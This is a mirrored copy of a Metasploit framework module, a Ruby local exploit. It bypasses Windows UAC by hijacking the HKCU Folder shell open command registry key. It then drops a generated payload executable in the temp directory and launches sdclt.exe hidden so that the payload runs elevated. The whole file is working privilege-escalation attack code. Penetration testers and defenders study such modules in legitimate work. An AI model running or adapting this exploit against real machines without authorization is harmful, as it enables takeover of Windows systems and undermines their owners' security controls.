CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_sdclt.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include Post::Windows::Priv
12
include Post::Windows::Runas
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',
19
'Description' => %q{
20
This module will bypass Windows UAC by hijacking a special key in the Registry under
21
the current user hive, and inserting a custom command that will get invoked when
22
Window backup and restore is launched. It will spawn a second shell that has the UAC
23
flag turned off.
24
25
This module modifies a registry key, but cleans up the key once the payload has
26
been invoked.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'enigma0x3', # UAC bypass discovery and research
31
'bwatters-r7', # Module
32
],
33
'Platform' => ['win'],
34
'SessionTypes' => ['meterpreter'],
35
'Targets' => [
36
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
37
],
38
'DefaultTarget' => 0,
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
42
'Reliability' => []
43
},
44
'References' => [
45
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
46
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
47
['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
48
],
49
'DisclosureDate' => '2017-03-17',
50
'Compat' => {
51
'Meterpreter' => {
52
'Commands' => %w[
53
stdapi_sys_config_getenv
54
stdapi_sys_process_execute
55
]
56
}
57
}
58
)
59
)
60
register_options(
61
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
62
)
63
end
64
65
def check
66
version = get_version_info
67
if version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_uac_enabled?
68
Exploit::CheckCode::Appears
69
else
70
Exploit::CheckCode::Safe
71
end
72
end
73
74
def write_reg_values(registry_key, payload_pathname)
75
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
76
registry_setvaldata(registry_key, 'DelegateExecute', '', 'REG_SZ')
77
registry_setvaldata(registry_key, '', payload_pathname, 'REG_SZ')
78
rescue ::Exception => e
79
print_error(e.to_s)
80
end
81
82
def exploit
83
@registry_key = ''
84
@remove_registry_key = false
85
check_permissions!
86
case get_uac_level
87
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
88
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
89
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
90
fail_with(Failure::NotVulnerable,
91
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
92
when UAC_DEFAULT
93
print_good('UAC is set to Default')
94
print_good('BypassUAC can bypass this setting, continuing...')
95
when UAC_NO_PROMPT
96
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
97
shell_execute_exe
98
return
99
end
100
101
@registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
102
@remove_registry_key = !registry_key_exist?(@registry_key)
103
104
# get directory locations straight
105
win_dir = session.sys.config.getenv('windir')
106
vprint_status('win_dir = ' + win_dir)
107
tmp_dir = session.sys.config.getenv('tmp')
108
vprint_status('tmp_dir = ' + tmp_dir)
109
exploit_dir = win_dir + '\\System32\\'
110
vprint_status('exploit_dir = ' + exploit_dir)
111
target_filepath = exploit_dir + 'sdclt.exe'
112
vprint_status('exploit_file = ' + target_filepath)
113
114
# make payload
115
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
116
payload_pathname = tmp_dir + '\\' + payload_name
117
vprint_status('payload_pathname = ' + payload_pathname)
118
vprint_status('Making Payload')
119
payload = generate_payload_exe
120
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
121
vprint_status('reg_command = ' + reg_command)
122
write_reg_values(@registry_key, reg_command)
123
124
# Upload payload
125
vprint_status("Uploading Payload to #{payload_pathname}")
126
write_file(payload_pathname, payload)
127
vprint_status('Payload Upload Complete')
128
129
vprint_status('Launching ' + target_filepath)
130
begin
131
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
132
rescue ::Exception => e
133
print_error("Executing command failed:\n#{e}")
134
end
135
print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
136
print_status('Please wait for session and cleanup....')
137
end
138
139
def cleanup
140
if @registry_key.present?
141
vprint_status('Removing Registry Changes')
142
if @remove_registry_key
143
registry_deletekey(@registry_key)
144
else
145
registry_deleteval(registry_key, "DelegateExecute")
146
registry_deleteval(@registry_key, '')
147
end
148
print_status('Registry Changes Removed')
149
end
150
end
151
152
def check_permissions!
153
unless check == Exploit::CheckCode::Appears
154
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
155
end
156
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
157
# Check if you are an admin
158
# is_in_admin_group can be nil, true, or false
159
print_status('UAC is Enabled, checking level...')
160
vprint_status('Checking admin status...')
161
case is_in_admin_group?
162
when true
163
print_good('Part of Administrators group! Continuing...')
164
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
165
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
166
end
167
when false
168
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
169
when nil
170
print_error('Either whoami is not there or failed to execute')
171
print_error('Continuing under assumption you already checked...')
172
end
173
end
174
175
end
176
177